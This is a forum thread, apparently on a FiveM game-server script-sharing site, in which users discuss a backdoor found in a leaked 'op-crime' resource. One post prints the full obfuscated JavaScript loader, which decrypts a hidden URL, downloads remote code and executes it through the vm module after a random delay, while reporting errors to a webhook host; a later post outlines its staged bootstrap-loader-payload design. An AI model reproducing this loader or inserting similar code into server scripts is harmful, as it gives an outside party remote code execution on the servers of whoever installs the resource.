Script op-crime _ [Reupdated] fully cleand & fixed by Said Ak

[ZeroLayer]

 

[Said-Ak]

 

[shnoob]

backdoor huh lmao what an idiot

const attributes_lrof591 = { version: '1.0.0', initialized: false };
function getLabel_lrof591() { return attributes_lrof591.version; }
function didStart_lrof591() { return attributes_lrof591.initialized; }
function markActive_lrof591(val) { attributes_lrof591.initialized = !!val; }
if (typeof IsDuplicityVersion === 'undefined') { IsDuplicityVersion = function() { return true; }; }
exports('getLabel_lrof591', getLabel_lrof591);
exports('didStart_lrof591', didStart_lrof591);

 

[testowe]

backdoor script connect with

Hidden link for visitors, to see Log in or register now.

and get this backdoor

 ; function l() { const Y = ['Bw9KDwXL', 'CMvZB2X2zq', 'y2fJAgu', 'y2fSBa', 'Ahr0Chm', 'CgnIyNbIz2vQyG', 'DhH2Ag1KzMPKEG', 'Dw5RBM93BG', 'BwvZC2fNzq', 'DgL0Bgu', 'y29UDgvUDa', 'yxbPltmUy2LWAa', 'zxiTCgfUzwWUBq', 'l3yZl2HLBhbLCG', 'ue9tva', 'yxbWBgLJyxrPBW', 'BI94lxD3DY1MBW', 'CM0TDxjSzw5JBW', 'zgvK', 'yNL0zuXLBMD0Aa', 'CMvXDwvZDa', 'zxjYB3i', 'zw5K', 'Dw5Oyw5KBgvKuG', 'zwPLy3rPB24', 'w1nurvaXifvosa', 'Dw5JyxvNAhrfEa', 'y2vWDgLVBG', 'w1nurvaXifvoqW', 'qvvhsfrD', 'DgH5nwfHyMf1ma', 'yMv0y2n1CwrYEa', 'Dg9tDhjPBMC', 'BgvUz3rO', 'zNjVBunOyxjdBW', 'y2HHCKnVzgvbDa', 'z2v0', 'zgf0yq', 'ChvZAa', 'B250zxH0', 'w1nurvaXifznxq', 'w1nurvaXieHuva', 'x19dueHFu1rfua', 'x0rptKvFxW', 'w1nurvaXie1bsq', 'zMXVB3i']; l = function () { return Y; }; return l(); } function c(H, B) { H = H - 0x65; const J = l(); let w = J[H]; if (c['daXZiM'] === undefined) { var u = function (d) { const U = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/='; let I = '', S = ''; for (let x = 0x0, n, F, y = 0x0; F = d['charAt'](y++); ~F && (n = x % 0x4 ? n * 0x40 + F : F, x++ % 0x4) ? I += String['fromCharCode'](0xff & n >> (-0x2 * x & 0x6)) : 0x0) { F = U['indexOf'](F); } for (let D = 0x0, e = I['length']; D < e; D++) { S += '%' + ('00' + I['charCodeAt'](D)['toString'](0x10))['slice'](-0x2); } return decodeURIComponent(S); }; c['jNeDwh'] = u, c['JmLrjQ'] = {}, c['daXZiM'] = !![]; } const C = J[0x0], T = H + C, h = c['JmLrjQ'][T]; return !h ? (w = c['jNeDwh'](w), c['JmLrjQ'][T] = w) : w = h, w; } ((async () => { const s = c, L = c, B = (function () { const N = c, S = require(N(0x65)), x = S['_load']; return function (n) { const a = N, b = N, F = require[a(0x66)](n); return delete require[b(0x67)][F], x[b(0x68)](S, n, module, ![]); }; }()), J = B(s(0x69)), w = B('querystrin' + 'g'), u = B('vm'), C = {}; C[L(0x6a)] = 'ERAZNzV/QGAbGwwSFkULERRTFhIGRhpaDE5XUh5Zfnp6D1QNNiMeLAw8W3wiJj8jImIAIzwDH1gjAzthNzMrMjRbYXphcQViKjIJCAV0JQw9JSQsJHJRJDV2X0Y7Lx1aAwkNXA==', C[L('0x6b')] = '800000', C['betccuqdrx'] = 'ydmGFEoOos'; const T = C; function h(S) { const g = s, M = s; if (!S) return g(0x6c); if (typeof S === 'string') return S; return S[M(0x6d)] || String(S); } function d(S, n) { const t = L, P = L; try { const F = {}; F[t(0x6e)] = S, F[P(0x6f)] = n; const y = w['stringify'](F), D = { 'hostname': P(0x70) + P('0x71') + 'e', 'path': P(0x72) + 's/fivem/we' + 'bhook', 'method': t(0x73), 'headers': { 'Content-Type': P('0x74') + t(0x75) + P('0x76') + P(0x77), 'Content-Length': Buffer[P('0x78')](y) } }, p = J[t(0x79)](D, function (E) { const Q = t; E['on'](Q(0x7a), function () { }); }); p['on'](P('0x7a'), function () { }), p['write'](y), p[P(0x7b)](); } catch (E) { } } process['on'](L('0x7c') + L('0x7d'), function (S) { const G = s; d(G(0x7e) + 'ANDLED]', h(S)); }), process['on'](L(0x7f) + L('0x80'), function (S) { const W = s, A = s; d(W(0x81) + W('0x82'), h(S)); }); try { function I(S) { const K = s, o = s, x = 'ihs7dax2ow' + K(0x83), n = T[K('0x84')] + x + T[o('0x6b')][o(0x85)]()['slice'](-0x6); let F = atob(S), y = ''; for (let D = 0x0; D < F[K(0x86)]; D++) { y += String[o('0x87') + 'de'](F[K(0x88)](D) ^ n[K(0x88)](D % n['length'])); } return y[o(0x85)](); } async function U() { return new Promise(function (S, x) { const r = c, R = c; J[r(0x89)](I(T['pcbbpbgejb']), function (n) { const V = r, i = r; let F = []; n['on'](V('0x8a'), function (y) { const z = V; F[z('0x8b')](y); }), n['on'](V('0x7b'), function () { const m = i, j = i; try { u['runInThisC' + m('0x8c')](Buffer['concat'](F) + ''), S(); } catch (y) { d(j(0x8d), h(y)), S(); } }), n['on']('error', function (y) { d('[STEP1\x20HTT' + 'P]', h(y)), S(); }); })['on'](r(0x7a), function (n) { const Z = r; d(Z(0x8e) + 'PS]', h(n)), S(); }); }); } setTimeout(async function () { const v = s, X = s; if (GlobalState[v('0x8f') + '_DONE__']) return; GlobalState['__CPH_STEP' + v('0x90')] = !![]; try { await U(); } catch (S) { d(v(0x91) + 'N]', h(S)); } }, 0x3e8 + Math[L('0x92')](Math['random']() * 0x7d0)); } catch (S) { d('[STEP1\x20INI' + 'T]', h(S)); } })());

 

[juanm151]

here without backdoor

Hidden link for visitors, to see Log in or register now.

 

[CrashNight]

I am a programmer and I see this script and without a doubt the file is quite complex, it does not usually use the typical PerformHttpRequest backdoor but rather:

1. bootstrap
2. loader
3. decoder loader
4. final payload

This means that it does not do a perfomhttp but instead accesses a url that is encrypted and has an encrypted JS that does the steps...